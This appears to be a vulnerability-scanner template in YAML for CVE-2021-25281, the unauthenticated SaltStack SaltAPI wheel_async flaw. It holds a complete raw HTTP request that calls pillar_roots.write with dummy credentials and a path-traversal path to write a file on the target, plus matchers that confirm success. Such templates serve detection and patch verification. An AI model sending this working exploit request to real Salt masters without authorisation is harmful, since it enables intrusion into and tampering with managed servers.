41 lines
1.1 KiB
YAML
41 lines
1.1 KiB
YAML
id: CVE-2021-25281
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info:
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name: CVE-2021-25281 - SaltStack wheel_async unauth access
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author: madrobot
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severity: critical
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reference: http://hackdig.com/02/hack-283902.htm
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description: The SaltAPI does not honor eauth credentials for the wheel_async client. Thus, an attacker can remotely run any wheel modules on the master.
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tags: cve,cve2021,saltapi,rce,saltstack
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requests:
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- raw:
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- |
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POST /run HTTP/1.1
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Host: {{Hostname}}
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
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Content-Type: application/json
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Content-Length: 173
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Connection: close
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{"client":"wheel_async","fun":"pillar_roots.write","data":"testing","path":"../../../../../../../tmp/testing","username":"1","password":"1","eauth":"pam"}
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matchers-condition: and
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matchers:
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- type: word
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words:
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- "return"
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- "tag"
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- "jid"
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- "salt"
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- "wheel"
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part: body
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condition: and
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- type: status
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status:
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- 200
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